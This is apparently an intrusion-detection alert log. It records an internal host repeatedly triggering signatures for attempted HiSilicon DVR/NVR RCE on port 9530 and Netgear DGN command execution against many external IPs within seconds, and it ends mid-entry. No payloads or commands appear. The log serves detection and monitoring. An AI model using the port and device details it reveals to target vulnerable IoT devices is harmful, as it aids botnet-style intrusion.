ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 208.72.80.84

Timestamp:	05/16/24-16:39:12.304157
SID:	2030487
Source Port:	39506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.126.127.35

Timestamp:	05/16/24-16:39:16.610510
SID:	2030487
Source Port:	54788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.126.127.35

Timestamp:	05/16/24-16:39:16.610510
SID:	2030488
Source Port:	54788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.146.208.92

Timestamp:	05/16/24-16:39:12.301203
SID:	2030487
Source Port:	37422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.146.208.92

Timestamp:	05/16/24-16:39:12.301203
SID:	2030488
Source Port:	37422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.43.29.66

Timestamp:	05/16/24-16:39:08.146688
SID:	2030488
Source Port:	49234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.120.162.22

Timestamp:	05/16/24-16:38:55.192609
SID:	2030488
Source Port:	49278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.43.29.66

Timestamp:	05/16/24-16:39:08.146688
SID:	2030487
Source Port:	49234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.120.162.22

Timestamp:	05/16/24-16:38:55.192609
SID:	2030487
Source Port:	49278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.208.175.64

Timestamp:	05/16/24-16:39:13.662034
SID:	2024916
Source Port:	33188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.71.93.84

Timestamp:	05/16/24-16:39:12.304108
SID:	2030488
Source Port:	42006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.167.43.104

Timestamp:	05/16/24-16:39:03.263596
SID:	2030487
Source Port:	41010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.167.43.104

Timestamp:	05/16/24-16:39:03.263596
SID:	2030488
Source Port:	41010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.71.93.84

Timestamp:	05/16/24-16:39:12.304108
SID:	2030487
Source Port:	42006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.134.47.108

Timestamp:	05/16/24-16:39:14.493390
SID:	2030487
Source Port:	47822
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.91.243.123

Timestamp:	05/16/24-16:39:08.145203
SID:	2030488
Source Port:	59122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.91.243.123

Timestamp:	05/16/24-16:39:08.145203
SID:	2030487
Source Port:	59122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.134.47.108

Timestamp:	05/16/24-16:39:14.493390
SID:	2030488
Source Port:	47822
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.0.191.217

Timestamp:	05/16/24-16:39:05.717227
SID:	2030488
Source Port:	39256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.196.240.13

Timestamp:	05/16/24-16:39:03.263630
SID:	2030487
Source Port:	47112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.196.240.13

Timestamp:	05/16/24-16:39:03.263630
SID:	2030488
Source Port:	47112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.0.191.217

Timestamp:	05/16/24-16:39:05.717227
SID:	2030487
Source Port:	39256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.152.244.33

Timestamp:	05/16/24-16:39:16.615078
SID:	2030488
Source Port:	35362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.152.244.33

Timestamp:	05/16/24-16:39:16.615078
SID:	2030487
Source Port:	35362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.229.106.8

Timestamp:	05/16/24-16:38:57.303914
SID:	2030488
Source Port:	40790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.140.112.156

Timestamp:	05/16/24-16:39:08.044959
SID:	2030487
Source Port:	33760
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.229.106.8

Timestamp:	05/16/24-16:38:57.303914
SID:	2030487
Source Port:	40790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.140.112.156

Timestamp:	05/16/24-16:39:08.044959
SID:	2030488
Source Port:	33760
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.116.23.119

Timestamp:	05/16/24-16:39:14.523646
SID:	2030487
Source Port:	55594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.181.198.94

Timestamp:	05/16/24-16:39:12.380563
SID:	2030488
Source Port:	60658
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.181.198.94

Timestamp:	05/16/24-16:39:12.380563
SID:	2030487
Source Port:	60658
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.116.23.119

Timestamp:	05/16/24-16:39:14.523646
SID:	2030488
Source Port:	55594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.250.106.51

Timestamp:	05/16/24-16:38:59.520118
SID:	2030488
Source Port:	43490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.32.8.212

Timestamp:	05/16/24-16:38:53.011235
SID:	2030488
Source Port:	48230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.250.106.51

Timestamp:	05/16/24-16:38:59.520118
SID:	2030487
Source Port:	43490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 36.80.241.120

Timestamp:	05/16/24-16:39:01.474040
SID:	2034576
Source Port:	51530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.143.165.61

Timestamp:	05/16/24-16:38:57.443777
SID:	2030487
Source Port:	34908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.32.8.212

Timestamp:	05/16/24-16:38:53.011235
SID:	2030487
Source Port:	48230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.143.165.61

Timestamp:	05/16/24-16:38:57.443777
SID:	2030488
Source Port:	34908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.228.3.244

Timestamp:	05/16/24-16:38:50.081851
SID:	2030487
Source Port:	59364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.151.48.126

Timestamp:	05/16/24-16:38:55.174985
SID:	2030488
Source Port:	58294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.31.194.215

Timestamp:	05/16/24-16:39:14.492190
SID:	2030487
Source Port:	45128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.151.48.126

Timestamp:	05/16/24-16:38:55.174985
SID:	2030487
Source Port:	58294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.31.194.215

Timestamp:	05/16/24-16:39:14.492190
SID:	2030488
Source Port:	45128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.70.188.214

Timestamp:	05/16/24-16:39:16.603573
SID:	2030488
Source Port:	44672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.70.188.214

Timestamp:	05/16/24-16:39:16.603573
SID:	2030487
Source Port:	44672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.6.96.243

Timestamp:	05/16/24-16:38:55.187219
SID:	2030488
Source Port:	55618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.67.51.245

Timestamp:	05/16/24-16:38:59.520070
SID:	2030487
Source Port:	56458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.59.103.4

Timestamp:	05/16/24-16:39:02.747129
SID:	2030487
Source Port:	45416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.184.88.80

Timestamp:	05/16/24-16:39:12.295488
SID:	2030487
Source Port:	40108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.6.96.243

Timestamp:	05/16/24-16:38:55.187219
SID:	2030487
Source Port:	55618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.59.103.4

Timestamp:	05/16/24-16:39:02.747129
SID:	2030488
Source Port:	45416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.184.88.80

Timestamp:	05/16/24-16:39:12.295488
SID:	2030488
Source Port:	40108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.228.3.244

Timestamp:	05/16/24-16:38:50.081851
SID:	2030488
Source Port:	59364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.251.155.252

Timestamp:	05/16/24-16:39:05.707652
SID:	2030488
Source Port:	41876
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.93.94.122

Timestamp:	05/16/24-16:39:05.713664
SID:	2030487
Source Port:	44418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.251.155.252

Timestamp:	05/16/24-16:39:05.707652
SID:	2030487
Source Port:	41876
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.93.94.122

Timestamp:	05/16/24-16:39:05.713664
SID:	2030488
Source Port:	44418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.81.106.161

Timestamp:	05/16/24-16:39:08.123568
SID:	2030487
Source Port:	46076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.71.35.41

Timestamp:	05/16/24-16:38:57.442651
SID:	2030487
Source Port:	39644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.81.106.161

Timestamp:	05/16/24-16:39:08.123568
SID:	2030488
Source Port:	46076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.128.48.212

Timestamp:	05/16/24-16:38:59.589135
SID:	2030487
Source Port:	55218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.128.48.212

Timestamp:	05/16/24-16:38:59.589135
SID:	2030488
Source Port:	55218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.71.35.41

Timestamp:	05/16/24-16:38:57.442651
SID:	2030488
Source Port:	39644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 148.27.241.7

Timestamp:	05/16/24-16:39:03.280209
SID:	2030487
Source Port:	33158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 148.27.241.7

Timestamp:	05/16/24-16:39:03.280209
SID:	2030488
Source Port:	33158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 45.89.131.53

Timestamp:	05/16/24-16:38:49.306238
SID:	2029215
Source Port:	44310
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.189.105.240

Timestamp:	05/16/24-16:38:53.064485
SID:	2030487
Source Port:	46686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 148.94.223.125

Timestamp:	05/16/24-16:38:50.068425
SID:	2030488
Source Port:	47956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.189.105.240

Timestamp:	05/16/24-16:38:53.064485
SID:	2030488
Source Port:	46686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 154.141.120.120

Timestamp:	05/16/24-16:39:09.569983
SID:	2029215
Source Port:	35132
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.160.193.236

Timestamp:	05/16/24-16:38:55.208915
SID:	2030488
Source Port:	39322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 148.94.223.125

Timestamp:	05/16/24-16:38:50.068425
SID:	2030487
Source Port:	47956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.160.193.236

Timestamp:	05/16/24-16:38:55.208915
SID:	2030487
Source Port:	39322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.41.207.145

Timestamp:	05/16/24-16:39:14.517540
SID:	2030487
Source Port:	36580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.41.207.145

Timestamp:	05/16/24-16:39:14.517540
SID:	2030488
Source Port:	36580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.116.44.246

Timestamp:	05/16/24-16:39:05.675927
SID:	2030488
Source Port:	41226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.116.44.246

Timestamp:	05/16/24-16:39:05.675927
SID:	2030487
Source Port:	41226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.248.136.196

Timestamp:	05/16/24-16:38:55.201805
SID:	2030488
Source Port:	45710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.248.136.196

Timestamp:	05/16/24-16:38:55.201805
SID:	2030487
Source Port:	45710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.242.215.221

Timestamp:	05/16/24-16:39:05.717911
SID:	2030487
Source Port:	56452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.242.215.221

Timestamp:	05/16/24-16:39:05.717911
SID:	2030488
Source Port:	56452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.97.123.211

Timestamp:	05/16/24-16:39:12.380218
SID:	2030488
Source Port:	53746
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.97.123.211

Timestamp:	05/16/24-16:39:12.380218
SID:	2030487
Source Port:	53746
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.226.106.245

Timestamp:	05/16/24-16:39:16.615097
SID:	2030487
Source Port:	50514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.226.106.245

Timestamp:	05/16/24-16:39:16.615097
SID:	2030488
Source Port:	50514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.112.34.162

Timestamp:	05/16/24-16:39:12.303861
SID:	2030487
Source Port:	60508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.112.34.162

Timestamp:	05/16/24-16:39:12.303861
SID:	2030488
Source Port:	60508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.30.172.176

Timestamp:	05/16/24-16:38:55.204612
SID:	2030487
Source Port:	52228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.30.172.176

Timestamp:	05/16/24-16:38:55.204612
SID:	2030488
Source Port:	52228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.18.43.154

Timestamp:	05/16/24-16:39:12.380651
SID:	2030488
Source Port:	55750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.18.43.154

Timestamp:	05/16/24-16:39:12.380651
SID:	2030487
Source Port:	55750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.145.129.4

Timestamp:	05/16/24-16:38:57.442562
SID:	2030488
Source Port:	34636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.145.129.4

Timestamp:	05/16/24-16:38:57.442562
SID:	2030487
Source Port:	34636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.19.131.232

Timestamp:	05/16/24-16:38:50.052450
SID:	2030488
Source Port:	58812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.248.199.244

Timestamp:	05/16/24-16:39:08.127129
SID:	2030488
Source Port:	54080
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.19.131.232

Timestamp:	05/16/24-16:38:50.052450
SID:	2030487
Source Port:	58812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.248.199.244

Timestamp:	05/16/24-16:39:08.127129
SID:	2030487
Source Port:	54080
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.209.228.54

Timestamp:	05/16/24-16:39:14.493585
SID:	2030488
Source Port:	57364
Destination Port:	9530
Protocol:	TCP
